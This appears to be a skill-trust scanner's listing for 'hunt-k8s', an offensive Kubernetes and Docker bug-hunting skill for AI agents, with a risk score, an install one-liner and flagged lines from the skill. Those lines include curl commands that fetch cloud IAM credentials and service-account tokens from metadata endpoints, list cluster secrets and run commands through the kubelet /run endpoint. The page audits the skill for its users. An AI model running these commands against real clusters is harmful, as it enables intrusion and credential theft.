← All skills
hunt-k8s
94 / 100 · Low risk
Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53
Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra…
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: $target, 169.254.169.254, metadata.google.internal
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 37 places.
Show 17 more
- skills/hunt-k8s/SKILL.md, line 48
curl -sk "https://$TARGET:6443/healthz" - skills/hunt-k8s/SKILL.md, line 51
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1) - skills/hunt-k8s/SKILL.md, line 52
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2 - skills/hunt-k8s/SKILL.md, line 53
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" - skills/hunt-k8s/SKILL.md, line 54
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS - skills/hunt-k8s/SKILL.md, line 55
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE - skills/hunt-k8s/SKILL.md, line 67
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \ - skills/hunt-k8s/SKILL.md, line 72
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \ - skills/hunt-k8s/SKILL.md, line 78
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \ - skills/hunt-k8s/SKILL.md, line 85
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")' - skills/hunt-k8s/SKILL.md, line 102
curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \ - skills/hunt-k8s/SKILL.md, line 109
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id" - skills/hunt-k8s/SKILL.md, line 110
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token" - skills/hunt-k8s/SKILL.md, line 122
curl -sk "$SRV/containerLogs/$NS/$POD/$CTR" - skills/hunt-k8s/SKILL.md, line 125
curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head - skills/hunt-k8s/SKILL.md, line 126
curl -s "http://$TARGET:10255/metrics" | head - skills/hunt-k8s/SKILL.md, line 139
NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)
and 17 more places
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 9 places.
Show 6 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'hunt-k8s' ] || [ -L ~/.agents/skills/'hunt-k8s' ]; then echo 'A skill folder named hunt-k8s already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/hunt-k8s' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/hunt-k8s' ~/.agents/skills/'hunt-k8s' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'hunt-k8s' ~/.claude/skills/'hunt-k8s' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)
Score history
| Date | Version | Score |
|---|
| 2026-11-10 | d5dcc53 | 94 |
| 2026-11-08 | 42a3ab1 | 94 |
| 2026-11-06 | 3e71af0 | 84 |